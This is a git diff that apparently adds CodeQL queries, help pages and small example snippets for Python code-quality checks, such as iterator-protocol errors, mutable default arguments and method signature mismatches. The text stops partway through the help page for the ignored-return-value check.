    diff --git a/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.ql b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.ql new file mode 100644 index 00000000000..7d54c0b49ef --- /dev/null +++ b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod.ql @@ -0,0 +1,112 @@ +/** + * @name Non-standard exception raised in special method + * @description Raising a non-standard exception in a special method alters the expected interface of that method. + * @kind problem + * @tags reliability + * maintainability + * convention + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/unexpected-raise-in-special-method + */ + +import python + +private predicate attribute_method(string name) { + name = "__getattribute__" or name = "__getattr__" or name = "__setattr__" +} + +private predicate indexing_method(string name) { + name = "__getitem__" or name = "__setitem__" or name = "__delitem__" +} + +private predicate arithmetic_method(string name) { + name = "__add__" or name = "__sub__" or name = "__div__" or + name = "__pos__" or name = "__abs__" or name = "__floordiv__" or + name = "__div__" or name = "__divmod__" or name = "__lshift__" or + name = "__and__" or name = "__or__"or name = "__xor__" or name = "__rshift__" or + name = "__pow__" or name = "__mul__" or name = "__neg__" or + name = "__radd__" or name = "__rsub__" or name = "__rdiv__" or + name = "__rfloordiv__" or name = "__rdiv__" or name = "__rlshift__" or + name = "__rand__" or name = "__ror__"or name = "__rxor__" or name = "__rrshift__" or + name = "__rpow__" or name = "__rmul__" or name = "__truediv__" or name = "__rtruediv__" or + name = "__iadd__" or name = "__isub__" or name = "__idiv__" or + name = "__ifloordiv__" or name = "__idiv__" or name = "__ilshift__" or + name = "__iand__" or name = "__ior__"or name = "__ixor__" or name = "__irshift__" or + name = "__ipow__" or name = "__imul__" or name = "__itruediv__" +} + +private predicate ordering_method(string name) { + name = "__lt__" or name = "__le__" or name = "__gt__" or name = "__ge__" or + name = "__cmp__" and major_version() = 2 +} + +private predicate cast_method(string name) { + name = "__nonzero__" and major_version() = 2 or + name = "__bool__" or + name = "__int__" or name = "__float__" or + name = "__long__" or + name = "__trunc__" or + name = "__complex__" +} + +predicate correct_raise(string name, ClassObject ex) { + ex.getAnImproperSuperType() = theTypeErrorType() + and + ( + name = "__copy__" or + name = "__deepcopy__" or + name = "__call__" or + indexing_method(name) or + attribute_method(name) + ) + or + preferred_raise(name, ex) + or + preferred_raise(name, ex.getASuperType()) +} + +predicate preferred_raise(string name, ClassObject ex) { + attribute_method(name) and ex = theAttributeErrorType() + or + indexing_method(name) and ex = builtin_object("LookupError") + or + ordering_method(name) and ex = theTypeErrorType() + or + arithmetic_method(name) and ex = builtin_object("ArithmeticError") +} + +predicate no_need_to_raise(string name, string message) { + name = "__hash__" and message = "use __hash__ = None instead" + or + cast_method(name) and message = "there is no need to implement the method at all." +} + +predicate is_abstract(FunctionObject func) { + ((Name)func.getFunction().getADecorator()).getId().matches("%abstract%") +} + +predicate always_raises(FunctionObject f, ClassObject ex) { + ex = f.getARaisedType() and + strictcount(f.getARaisedType()) = 1 and + not exists(f.getFunction().getANormalExit()) and + /* raising StopIteration is equivalent to a return in a generator */ + not ex = theStopIterationType() +} + +from FunctionObject f, ClassObject cls, string message +where f.getFunction().isSpecialMethod() and +not is_abstract(f) and +always_raises(f, cls) and +( + no_need_to_raise(f.getName(), message) and not cls.getName() = "NotImplementedError" + or + not correct_raise(f.getName(), cls) and not cls.getName() = "NotImplementedError" + and + exists(ClassObject preferred | + preferred_raise(f.getName(), preferred) | + message = "raise " + preferred.getName() + " instead" + ) +) +select f, "Function always raises $@; " + message, cls, cls.toString() diff --git a/python/ql/src/Functions/IncorrectRaiseInSpecialMethod2.py b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod2.py new file mode 100644 index 00000000000..405400bfe61 --- /dev/null +++ b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod2.py @@ -0,0 +1,15 @@ + +#Abstract base class, but don't declare it. +class ImplicitAbstractClass(object): + + def __add__(self, other): + raise NotImplementedError() + +#Make abstractness explicit. +class ExplicitAbstractClass: + __metaclass__ = ABCMeta + + @abstractmethod + def __add__(self, other): + raise NotImplementedError() + diff --git a/python/ql/src/Functions/IncorrectRaiseInSpecialMethod3.py b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod3.py new file mode 100644 index 00000000000..048d5043b4d --- /dev/null +++ b/python/ql/src/Functions/IncorrectRaiseInSpecialMethod3.py @@ -0,0 +1,27 @@ + +#Incorrect file-backed table +class FileBackedTable(object): + + def __getitem__(self, key): + if key not in self.index: + raise IOError("Key '%s' not in table" % key) + else: + #May raise an IOError + return self.backing.get_row(key) + +#Correct by transforming exception +class ObjectLikeFileBackedTable(object): + + def get_from_key(self, key): + if key not in self.index: + raise IOError("Key '%s' not in table" % key) + else: + #May raise an IOError + return self.backing.get_row(key) + + def __getitem__(self, key): + try: + return self.get_from_key(key) + except IOError: + raise KeyError(key) + diff --git a/python/ql/src/Functions/IncorrectlyOverriddenMethod.qhelp b/python/ql/src/Functions/IncorrectlyOverriddenMethod.qhelp new file mode 100644 index 00000000000..89869efda71 --- /dev/null +++ b/python/ql/src/Functions/IncorrectlyOverriddenMethod.qhelp @@ -0,0 +1,41 @@ + + + + + +

    There is a call to the overridden method, and potentially the overriding method, +with arguments that are not legal for the overriding method. +This will cause an error if the overriding method is called and is a +violation of the Liskov substitution principle. +

    + +
    + + +

    Ensure that the overriding method accepts all the parameters that are legal for the +overridden method.

    + +
    + +

    In this example there is a mismatch between the legal parameters for the base +class method (self, source, filename, symbol) and the extension method +(self, source). The extension method can be used to override the base +method as long as values are not specified for the filename and (optional) +symbol parameters. If the extension method was passed the additional +parameters accepted by the base method then an error would occur.

    + + + +

    The extension method should be updated to support the filename and +symbol parameters supported by the overridden method.

    + +
    + + +
  • Wikipedia: Liskov Substitution Principle, Method overriding.
  • + + +
    +
    diff --git a/python/ql/src/Functions/IncorrectlyOverriddenMethod.ql b/python/ql/src/Functions/IncorrectlyOverriddenMethod.ql new file mode 100644 index 00000000000..e5d3947a1a7 --- /dev/null +++ b/python/ql/src/Functions/IncorrectlyOverriddenMethod.ql @@ -0,0 +1,27 @@ +/** + * @name Mismatch between signature and use of an overriding method + * @description Method has a different signature from the overridden method and, if it were called, would be likely to cause an error. + * @kind problem + * @tags maintainability + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/inheritance/incorrect-overriding-signature + */ + +import python +import Expressions.CallArgs + +from Call call, FunctionObject func, FunctionObject overridden, string problem +where +func.overrides(overridden) and ( + wrong_args(call, func, _, problem) and correct_args_if_called_as_method(call, overridden) + or + exists(string name | + illegally_named_parameter(call, func, name) and problem = "an argument named '" + name + "'" and + overridden.getFunction().getAnArg().(Name).getId() = name + ) +) + +select func, "Overriding method signature does not match $@, where it is passed " + problem + ". Overridden method $@ is correctly specified.", +call, "here", overridden, overridden.descriptiveString() diff --git a/python/ql/src/Functions/IncorrectlySpecifiedOverriddenMethod.qhelp b/python/ql/src/Functions/IncorrectlySpecifiedOverriddenMethod.qhelp new file mode 100644 index 00000000000..6e2ef60596f --- /dev/null +++ b/python/ql/src/Functions/IncorrectlySpecifiedOverriddenMethod.qhelp @@ -0,0 +1,39 @@ + + + + + +

    There is a call to the overriding method, and potentially the overridden method, +with arguments that are not legal for the overridden method. +This will cause an error if the overridden method is called and is a +violation of the Liskov substitution principle. +

    +
    + + +

    Ensure that the overridden method accepts all the parameters that are legal for +overriding method(s).

    + +
    + +

    In this example there is a mismatch between the legal parameters for the base +class method (self, source, filename) and the extension method +(self, source). Since there is a call that uses the signature of the extension method +then it can be inferred that the base signature is erroneous and should be updated to +match that of the extension method. +

    + + + +

    The base method should be updated to either remove the filename parameters, or add a default value for it.

    + +
    + + +
  • Wikipedia: Liskov Substitution Principle, Method overriding.
  • + + +
    +
    diff --git a/python/ql/src/Functions/IncorrectlySpecifiedOverriddenMethod.ql b/python/ql/src/Functions/IncorrectlySpecifiedOverriddenMethod.ql new file mode 100644 index 00000000000..3af03a23602 --- /dev/null +++ b/python/ql/src/Functions/IncorrectlySpecifiedOverriddenMethod.ql @@ -0,0 +1,35 @@ +/** + * @name Mismatch between signature and use of an overridden method + * @description Method has a signature that differs from both the signature of its overriding methods and + * the arguments with which it is called, and if it were called, would be likely to cause an error. + * @kind problem + * @tags maintainability + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/inheritance/incorrect-overridden-signature + */ + +import python +import Expressions.CallArgs + +from Call call, FunctionObject func, FunctionObject overriding, string problem +where +not func.getName() = "__init__" and +overriding.overrides(func) and +call = overriding.getAMethodCall().getNode() and +correct_args_if_called_as_method(call, overriding) and +( + arg_count(call)+1 < func.minParameters() and problem = "too few arguments" + or + arg_count(call) >= func.maxParameters() and problem = "too many arguments" + or + exists(string name | call.getAKeyword().getArg() = name and + overriding.getFunction().getAnArg().(Name).getId() = name and + not func.getFunction().getAnArg().(Name).getId() = name and + problem = "an argument named '" + name + "'" + ) +) + +select func, "Overridden method signature does not match $@, where it is passed " + problem + ". Overriding method $@ matches the call.", +call, "call", overriding, overriding.descriptiveString() diff --git a/python/ql/src/Functions/InitIsGenerator.py b/python/ql/src/Functions/InitIsGenerator.py new file mode 100644 index 00000000000..c64cc346203 --- /dev/null +++ b/python/ql/src/Functions/InitIsGenerator.py @@ -0,0 +1,3 @@ +class InitIsGenerator(object): + def __init__(self, i): + yield i \ No newline at end of file diff --git a/python/ql/src/Functions/InitIsGenerator.qhelp b/python/ql/src/Functions/InitIsGenerator.qhelp new file mode 100644 index 00000000000..113e444d1f3 --- /dev/null +++ b/python/ql/src/Functions/InitIsGenerator.qhelp @@ -0,0 +1,28 @@ + + + +

    The __init__ method of a class is used to initialize new objects, +not create them. As such, it should not return any value. +By including a yield expression in the method turns it into a generator method. +On calling it will return a generator resulting in a runtime error.

    + +
    + +

    The presence of a yield expression in an __init__ method +suggests a logical error, so it is not possible to suggest a general fix.

    + +
    + +

    In this example the __init__ method contains a yield expression. This is +not logical in the context of an initializer.

    + + +
    + + +
  • Python: The __init__ method.
  • + +
    +
    diff --git a/python/ql/src/Functions/InitIsGenerator.ql b/python/ql/src/Functions/InitIsGenerator.ql new file mode 100644 index 00000000000..5ad61ae8255 --- /dev/null +++ b/python/ql/src/Functions/InitIsGenerator.ql @@ -0,0 +1,18 @@ +/** + * @name __init__ method is a generator + * @description __init__ method is a generator. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/init-method-is-generator + */ + +import python + +from Function f +where f.isInitMethod() and +(exists(Yield y | y.getScope() = f) or exists(YieldFrom y| y.getScope() = f)) +select f, "__init__ method is a generator." diff --git a/python/ql/src/Functions/IterReturnsNonIterator.py b/python/ql/src/Functions/IterReturnsNonIterator.py new file mode 100644 index 00000000000..91f2ab699de --- /dev/null +++ b/python/ql/src/Functions/IterReturnsNonIterator.py @@ -0,0 +1,18 @@ +class MyRange(object): + def __init__(self, low, high): + self.current = low + self.high = high + + def __iter__(self): + return self + +#Fixed version +class MyRange(object): + def __init__(self, low, high): + self.current = low + self.high = high + + def __iter__(self): + while self.current < self.high: + yield self.current + self.current += 1 diff --git a/python/ql/src/Functions/IterReturnsNonIterator.qhelp b/python/ql/src/Functions/IterReturnsNonIterator.qhelp new file mode 100644 index 00000000000..ebb043b5d0f --- /dev/null +++ b/python/ql/src/Functions/IterReturnsNonIterator.qhelp @@ -0,0 +1,37 @@ + + + +

    The __iter__ method of a class should return an iterator. + +Iteration in Python relies on this behavior and attempting to iterate over an +instance of a class with an incorrect __iter__ method will raise a TypeError. +

    + + +
    + +

    Make the __iter__ return a new iterator, either as an instance of +a separate class or as a generator.

    + +
    + +

    In this example the MyRange class's __iter__ method does not +return an iterator. This will cause the program to fail when anyone attempts +to use the iterator in a for loop or in statement. +

    + +

    The fixed version implements the __iter__ method as a generator function.

    + + + +
    + + +
  • Python Language Reference: object.__iter__.
  • +
  • Python Standard Library: Iterator Types.
  • + + +
    +
    diff --git a/python/ql/src/Functions/IterReturnsNonIterator.ql b/python/ql/src/Functions/IterReturnsNonIterator.ql new file mode 100644 index 00000000000..7c727af8d4e --- /dev/null +++ b/python/ql/src/Functions/IterReturnsNonIterator.ql @@ -0,0 +1,32 @@ +/** + * @name __iter__ method returns a non-iterator + * @description The '__iter__' method returns a non-iterator which, if used in a 'for' loop, would raise a 'TypeError'. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/iter-returns-non-iterator + */ + +import python + +FunctionObject iter_method(ClassObject t) { + result = t.lookupAttribute("__iter__") +} + +cached ClassObject return_type(FunctionObject f) { + exists(ControlFlowNode n, Return ret | + ret.getScope() = f.getFunction() and ret.getValue() = n.getNode() and + n.refersTo(_, result, _) + ) +} + +from ClassObject t, FunctionObject iter +where exists(ClassObject ret_t | iter = iter_method(t) and + ret_t = return_type(iter) and + not ret_t.isIterator() + ) + +select iter, "The '__iter__' method of iterable class $@ does not return an iterator.", t, t.getName() \ No newline at end of file diff --git a/python/ql/src/Functions/IterReturnsNonSelf.py b/python/ql/src/Functions/IterReturnsNonSelf.py new file mode 100644 index 00000000000..6251b87aba7 --- /dev/null +++ b/python/ql/src/Functions/IterReturnsNonSelf.py @@ -0,0 +1,13 @@ +class MyRange(object): + def __init__(self, low, high): + self.current = low + self.high = high + + def __iter__(self): + return self.current + + def next(self): + if self.current > self.high: + raise StopIteration + self.current += 1 + return self.current - 1 \ No newline at end of file diff --git a/python/ql/src/Functions/IterReturnsNonSelf.qhelp b/python/ql/src/Functions/IterReturnsNonSelf.qhelp new file mode 100644 index 00000000000..f614d912ff0 --- /dev/null +++ b/python/ql/src/Functions/IterReturnsNonSelf.qhelp @@ -0,0 +1,37 @@ + + + +

    The __iter__ method of an iterator should return self. +This is important so that iterators can be used as sequences in any context +that expect a sequence. To do so requires that __iter__ is +idempotent on iterators.

    + +

    +Note that sequences and mapping should return a new iterator, it is just the returned +iterator that must obey this constraint. +

    + +
    + +

    Make the __iter__ return self unless the class should not be an iterator, +in which case rename the next (Python 2) or __next__ (Python 3) +to something else.

    + +
    + +

    In this example the Counter class's __iter__ method does not +return self (or even an iterator). This will cause the program to fail when anyone attempts +to use the iterator in a for loop or in statement.

    + + +
    + + +
  • Python Language Reference: object.__iter__.
  • +
  • Python Standard Library: Iterators.
  • + + +
    +
    diff --git a/python/ql/src/Functions/IterReturnsNonSelf.ql b/python/ql/src/Functions/IterReturnsNonSelf.ql new file mode 100644 index 00000000000..0899cf798a1 --- /dev/null +++ b/python/ql/src/Functions/IterReturnsNonSelf.ql @@ -0,0 +1,33 @@ +/** + * @name Iterator does not return self from __iter__ method + * @description Iterator does not return self from __iter__ method, violating the iterator protocol. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/iter-returns-non-self + */ + +import python + +Function iter_method(ClassObject t) { + result = ((FunctionObject)t.lookupAttribute("__iter__")).getFunction() +} + +predicate is_self(Name value, Function f) { + value.getVariable() = ((Name)f.getArg(0)).getVariable() +} + +predicate returns_non_self(Function f) { + exists(f.getFallthroughNode()) + or + exists(Return r | r.getScope() = f and not is_self(r.getValue(), f)) + or + exists(Return r | r.getScope() = f and not exists(r.getValue())) +} + +from ClassObject t, Function iter +where t.isIterator() and iter = iter_method(t) and returns_non_self(iter) +select t, "Class " + t.getName() + " is an iterator but its $@ method does not return 'self'.", iter, iter.getName() \ No newline at end of file diff --git a/python/ql/src/Functions/ModificationOfParameterWithDefault.py b/python/ql/src/Functions/ModificationOfParameterWithDefault.py new file mode 100644 index 00000000000..2ddee367acc --- /dev/null +++ b/python/ql/src/Functions/ModificationOfParameterWithDefault.py @@ -0,0 +1,7 @@ + + def __init__(self, name, choices=[], default=[], shortDesc=None, + longDesc=None, hints=None, allowNone=1): # 'default' parameter assigned a value + self.choices = choices + if choices and not default: + default.append(choices[0][1]) # value of 'default' parameter modified + Argument.__init__(self, name, default, shortDesc, longDesc, hints, allowNone=allowNone) \ No newline at end of file diff --git a/python/ql/src/Functions/ModificationOfParameterWithDefault.qhelp b/python/ql/src/Functions/ModificationOfParameterWithDefault.qhelp new file mode 100644 index 00000000000..ff225c68992 --- /dev/null +++ b/python/ql/src/Functions/ModificationOfParameterWithDefault.qhelp @@ -0,0 +1,44 @@ + + + + + +

    The default value of a parameter is computed once when the function is +created, not for every invocation. The "pre-computed" value is then used for every +subsequent call to the function. Consequently, if you modify the default +value for a parameter this "modified" default value is used for the parameter +in future calls to the function. This means that the function may not behave as +expected in future calls and also makes the function more difficult to understand. +

    + +
    + +

    If a parameter has a default value, do not modify the default value. When +you use a mutable object as a default value, you should use a placeholder value +instead of modifying the default value. This is a particular problem when you +work with lists and dictionaries but there are standard methods of avoiding +modifying the default parameter (see References).

    + +
    + +

    In the following example, the default parameter is set with a default +value of an empty list. Other commands in the function then append values to the +list. The next time the function is called, the list will contain values, which +may not have been intended.

    + + +

    The recommended workaround is use a placeholder value. That is, define the +function with a default of default=None, check if the parameter is +None and then set the parameter to a list.

    + +
    + + +
  • Effbot: Default Parameter Values in Python.
  • +
  • Python Language Reference: Function definitions.
  • + + +
    +
    diff --git a/python/ql/src/Functions/ModificationOfParameterWithDefault.ql b/python/ql/src/Functions/ModificationOfParameterWithDefault.ql new file mode 100644 index 00000000000..03e76477dea --- /dev/null +++ b/python/ql/src/Functions/ModificationOfParameterWithDefault.ql @@ -0,0 +1,61 @@ +/** + * @name Modification of parameter with default + * @description Modifying the default value of a parameter can lead to unexpected + * results. + * @kind problem + * @tags reliability + * maintainability + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/modification-of-default-value + */ + +import python + +predicate safe_method(string name) { + name = "count" or name = "index" or name = "copy" or name = "get" or name = "has_key" or + name = "items" or name = "keys" or name = "values" or name = "iteritems" or name = "iterkeys" or name = "itervalues" +} + +predicate maybe_parameter(SsaVariable var, Function f, Parameter p) { + p = var.getAnUltimateDefinition().getDefinition().getNode() and + f.getAnArg() = p +} + +Name use_of_parameter(Parameter p) { + exists(SsaVariable var | + p = var.getAnUltimateDefinition().getDefinition().getNode() and + var.getAUse().getNode() = result + ) +} + +predicate modifying_call(Call c, Parameter p) { + exists(Attribute a | + c.getFunc() = a | + a.getObject() = use_of_parameter(p) and + not safe_method(a.getName()) + ) +} + +predicate is_modification(AstNode a, Parameter p) { + modifying_call(a, p) + or + a.(AugAssign).getTarget() = use_of_parameter(p) +} + +predicate has_mutable_default(Parameter p) { + exists(SsaVariable v, FunctionExpr f | maybe_parameter(v, f.getInnerScope(), p) and + exists(int i, int def_cnt, int arg_cnt | + def_cnt = count(f.getArgs().getADefault()) and + arg_cnt = count(f.getInnerScope().getAnArg()) and + i in [1 .. arg_cnt] and + (f.getArgs().getDefault(def_cnt - i) instanceof Dict or f.getArgs().getDefault(def_cnt - i) instanceof List) and + f.getInnerScope().getArgName(arg_cnt - i) = v.getId() + ) + ) +} + +from AstNode a, Parameter p +where has_mutable_default(p) and is_modification(a, p) +select a, "Modification of parameter $@, which has mutable default value.", p, p.asName().getId() diff --git a/python/ql/src/Functions/NonCls.py b/python/ql/src/Functions/NonCls.py new file mode 100644 index 00000000000..f4959d89ebd --- /dev/null +++ b/python/ql/src/Functions/NonCls.py @@ -0,0 +1,4 @@ +class Entry(object): + @classmethod + def make(klass): + return Entry() diff --git a/python/ql/src/Functions/NonCls.qhelp b/python/ql/src/Functions/NonCls.qhelp new file mode 100644 index 00000000000..0e658e7a6b9 --- /dev/null +++ b/python/ql/src/Functions/NonCls.qhelp @@ -0,0 +1,35 @@ + + + + + +

    The first argument of a class method, a new method or any metaclass method +should be called cls. This makes the purpose of the argument clear to other developers. +

    + +
    + + +

    Change the name of the first argument to cls as recommended by the style guidelines +in PEP 8.

    + +
    + +

    In the example, the first parameter to make() is klass which should be changed to cls +for ease of comprehension. +

    + + + + +
    + + +
  • Python PEP 8: Function and method arguments.
  • +
  • Python Tutorial: Classes.
  • + + +
    +
    diff --git a/python/ql/src/Functions/NonCls.ql b/python/ql/src/Functions/NonCls.ql new file mode 100644 index 00000000000..015263df19f --- /dev/null +++ b/python/ql/src/Functions/NonCls.ql @@ -0,0 +1,47 @@ +/** + * @name First parameter of a class method is not named 'cls' + * @description Using an alternative name for the first argument of a class method makes code more + * difficult to read; PEP8 states that the first argument to class methods should be 'cls'. + * @kind problem + * @tags maintainability + * readability + * convention + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/not-named-cls + */ + +import python + +predicate first_arg_cls(Function f) { + exists(string argname | argname = f.getArgName(0) | + argname = "cls" or + /* Not PEP8, but relatively common */ + argname = "mcls" + ) +} + +predicate is_type_method(Function f) { + exists(ClassObject c | c.getPyClass() = f.getScope() and c.getASuperType() = theTypeType()) +} + +predicate classmethod_decorators_only(Function f) { + forall(Expr decorator | + decorator = f.getADecorator() | + ((Name) decorator).getId() = "classmethod") +} + +from Function f, string message +where (f.getADecorator().(Name).getId() = "classmethod" or is_type_method(f)) and +not first_arg_cls(f) and classmethod_decorators_only(f) and +not f.getName() = "__new__" and +( + if exists(f.getArgName(0)) then + message = "Class methods or methods of a type deriving from type should have 'cls', rather than '" + + f.getArgName(0) + "', as their first argument." + else + message = "Class methods or methods of a type deriving from type should have 'cls' as their first argument." +) + +select f, message diff --git a/python/ql/src/Functions/NonSelf.py b/python/ql/src/Functions/NonSelf.py new file mode 100644 index 00000000000..845172717e4 --- /dev/null +++ b/python/ql/src/Functions/NonSelf.py @@ -0,0 +1,9 @@ +class Point: + def __init__(val, x, y): # first argument is mis-named 'val' + val._x = x + val._y = y + +class Point2: + def __init__(self, x, y): # first argument is correctly named 'self' + self._x = x + self._y = y \ No newline at end of file diff --git a/python/ql/src/Functions/NonSelf.qhelp b/python/ql/src/Functions/NonSelf.qhelp new file mode 100644 index 00000000000..c4cef70e731 --- /dev/null +++ b/python/ql/src/Functions/NonSelf.qhelp @@ -0,0 +1,38 @@ + + + + + +

    Normal methods should have at least one parameter and the first parameter should be called self. +This makes the purpose of the parameter clear to other developers. +

    +
    + + +

    If there is at least one parameter, then change the name of the first parameter to self as recommended by the style guidelines +in PEP 8.

    +

    If there are no parameters, then it cannot be a normal method. It may need to be marked as a staticmethod +or it could be moved out of the class as a normal function. +

    +
    + + +

    The following methods can both be used to assign values to variables in a point +object. The second method makes the association clearer because the self parameter is +used.

    + + + +
    + + +
  • Python PEP 8: Function and +method arguments.
  • +
  • Python Tutorial: Classes.
  • + + + +
    +
    diff --git a/python/ql/src/Functions/NonSelf.ql b/python/ql/src/Functions/NonSelf.ql new file mode 100644 index 00000000000..37b7ee0ef06 --- /dev/null +++ b/python/ql/src/Functions/NonSelf.ql @@ -0,0 +1,54 @@ +/** + * @name First argument of a method is not named 'self' + * @description Using an alternative name for the first argument of an instance method makes + * code more difficult to read; PEP8 states that the first argument to instance + * methods should be 'self'. + * @kind problem + * @tags maintainability + * readability + * convention + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/not-named-self + */ + +import python +import semmle.python.libraries.Zope + +predicate first_arg_self(Function f) { + f.getArgName(0) = "self" +} + +predicate is_type_method(FunctionObject f) { + exists(ClassObject c | c.lookupAttribute(_) = f and c.getASuperType() = theTypeType()) +} + +predicate used_in_defining_scope(FunctionObject f) { + exists(Call c | + c.getScope() = f.getFunction().getScope() and + c.getFunc().refersTo(f) + ) +} + +from Function f, PyFunctionObject func, string message +where +exists(ClassObject cls, string name | + cls.declaredAttribute(name) = func and cls.isNewStyle() and + not name = "__new__" and + not name = "__metaclass__" and + /* declared in scope */ + f.getScope() = cls.getPyClass() +) and +not first_arg_self(f) and not is_type_method(func) and +func.getFunction() = f and not f.getName() = "lambda" and +not used_in_defining_scope(func) and +( + if exists(f.getArgName(0)) then + message = "Normal methods should have 'self', rather than '" + f.getArgName(0) + "', as their first parameter." + else + message = "Normal methods should have at least one parameter (the first of which should be 'self')." and not f.hasVarArg() +) and +not func instanceof ZopeInterfaceMethod + +select f, message diff --git a/python/ql/src/Functions/OverlyComplexDelMethod.py b/python/ql/src/Functions/OverlyComplexDelMethod.py new file mode 100644 index 00000000000..61e5e28dd6f --- /dev/null +++ b/python/ql/src/Functions/OverlyComplexDelMethod.py @@ -0,0 +1,24 @@ + +#Relies on __del__ being called by the garbage collector. +class CachedPreferencesFile + + ... + + def __del__(self): + for key, value in self.preferences.items(): + self.write_pair(key, value) + self.backing.close() + + +#Better version +class CachedPreferencesFile + + ... + + def close(self): + for key, value in self.preferences.items(): + self.write_pair(key, value) + self.backing.close() + + def __del__(self): + self.close() diff --git a/python/ql/src/Functions/OverlyComplexDelMethod.qhelp b/python/ql/src/Functions/OverlyComplexDelMethod.qhelp new file mode 100644 index 00000000000..71410d63a78 --- /dev/null +++ b/python/ql/src/Functions/OverlyComplexDelMethod.qhelp @@ -0,0 +1,42 @@ + + + + +

    The __del__ method exists to release any resources held by an object when that object is deleted. +The __del__ is called only by the garbage collector which may call it after an indefinite delay or +never. +

    + +

    +Consequently, __del__ method should not be relied on to release resources, such as file descriptors. +Rather, these resources should be released explicitly. +

    + +

    The existence of a complex __del__ method suggests that this is the main or only way to release resources +associated with the object.

    + +
    + + +

    In order to ensure correct cleanup of the object add an explicit close(), or similar, +method. Possibly make the object a context manager.

    + +

    The __del__ method should just call close()

    + + +
    + +

    The first example below shows a class which relies on __del__ to release resources. +The second example shows an improved version of the class where __del__ simply calls close.

    + + + +
    + + +
  • Python Standard Library: Context manager.
  • + +
    +
    diff --git a/python/ql/src/Functions/OverlyComplexDelMethod.ql b/python/ql/src/Functions/OverlyComplexDelMethod.ql new file mode 100644 index 00000000000..fff4b3fad0b --- /dev/null +++ b/python/ql/src/Functions/OverlyComplexDelMethod.ql @@ -0,0 +1,21 @@ +/** + * @name Overly complex __del__ method + * @description __del__ methods may be called at arbitrary times, perhaps never called at all, and should be simple. + * @kind problem + * @tags efficiency + * maintainability + * complexity + * statistical + * non-attributable + * @problem.severity recommendation + * @sub-severity low + * @precision high + * @id py/overly-complex-delete + */ + +import python + +from FunctionObject method +where exists(ClassObject c | c.declaredAttribute("__del__") = method and +method.getFunction().getMetrics().getCyclomaticComplexity() > 3) +select method, "Overly complex '__del__' method." diff --git a/python/ql/src/Functions/ReturnConsistentTupleSizes.py b/python/ql/src/Functions/ReturnConsistentTupleSizes.py new file mode 100644 index 00000000000..b5ced0685db --- /dev/null +++ b/python/ql/src/Functions/ReturnConsistentTupleSizes.py @@ -0,0 +1,15 @@ +def sum_length_product1(l): + if l == []: + return 0, 0 # this tuple has the wrong length + else: + val = l[0] + restsum, restlength, restproduct = sum_length_product1(l[1:]) + return restsum + val, restlength + 1, restproduct * val + +def sum_length_product2(l): + if l == []: + return 0, 0, 1 # this tuple has the correct length + else: + val = l[0] + restsum, restlength, restproduct = sum_length_product2(l[1:]) + return restsum + val, restlength + 1, restproduct * val diff --git a/python/ql/src/Functions/ReturnConsistentTupleSizes.qhelp b/python/ql/src/Functions/ReturnConsistentTupleSizes.qhelp new file mode 100644 index 00000000000..2ebcdc5721d --- /dev/null +++ b/python/ql/src/Functions/ReturnConsistentTupleSizes.qhelp @@ -0,0 +1,39 @@ + + + + + +

    + A common pattern for functions returning multiple arguments is to return a + single tuple containing said arguments. If the function has multiple return + points, care must be taken to ensure that the tuples returned have the same + length. +

    +
    + + +

    Ensure that the function returns tuples of similar lengths.

    + +
    + +

    + In this example, the sum_length_product1 function + simultaneously calculates the sum, length, and product of the values in the + given list. For empty lists, however, the returned tuple only contains the + sum and length of the list. In sum_length_product2 this error + has been corrected. +

    + + + +
    + + +
  • Python Language Reference: Function definitions. +
  • + + +
    +
    diff --git a/python/ql/src/Functions/ReturnConsistentTupleSizes.ql b/python/ql/src/Functions/ReturnConsistentTupleSizes.ql new file mode 100644 index 00000000000..010bbd07ccb --- /dev/null +++ b/python/ql/src/Functions/ReturnConsistentTupleSizes.ql @@ -0,0 +1,29 @@ +/** + * @name Returning tuples with varying lengths + * @description A function that potentially returns tuples of different lengths may indicate a problem. + * @kind problem + * @tags reliability + * maintainability + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/mixed-tuple-returns + */ + +import python + +predicate returns_tuple_of_size(Function func, int size, AstNode origin) { + exists(Return return, TupleObject val | + return.getScope() = func and + return.getValue().refersTo(val, origin) | + size = val.getLength() + ) +} + + +from Function func, int s1, int s2, AstNode t1, AstNode t2 +where + returns_tuple_of_size(func, s1, t1) and + returns_tuple_of_size(func, s2, t2) and + s1 < s2 +select func, func.getQualifiedName() + " returns $@ and $@.", t1, "tuple of size " + s1, t2, "tuple of size " + s2 diff --git a/python/ql/src/Functions/ReturnValueIgnored.py b/python/ql/src/Functions/ReturnValueIgnored.py new file mode 100644 index 00000000000..848517964c1 --- /dev/null +++ b/python/ql/src/Functions/ReturnValueIgnored.py @@ -0,0 +1,21 @@ + +from third_party import get_resource + +def ignore_error(name): + rsc = get_resource(name) + rsc.initialize() + try: + use_resource(rsc) + finally: + rsc.close() + +#Fixed +def do_not_ignore_error(name): + rsc = get_resource(name) + success = rsc.initialize() + if not success: + raise Error("Could not initialize resource") + try: + use_resource(rsc) + finally: + rsc.close() diff --git a/python/ql/src/Functions/ReturnValueIgnored.qhelp b/python/ql/src/Functions/ReturnValueIgnored.qhelp new file mode 100644 index 00000000000..7081d247112 --- /dev/null +++ b/python/ql/src/Functions/ReturnValueIgnored.qhelp @@ -0,0 +1,45 @@ + + + + +

    When a function returns a non-trivial value, that value should not be ignored. Doing so may result in errors being ignored or +information being thrown away.

    + +

    A return value is considered to be trivial if it is None or it is a parameter (parameters, usually self are often +returned to assist with method chaining, but can be ignored). +A return value is also assumed to be trivial if it is ignored for 75% or more of calls. +

    + +
    + + +

    Act upon all non-trivial return values, either propagating each value or recording it. +If a return value should be ignored, then ensure that it is ignored consistently. +

    + +

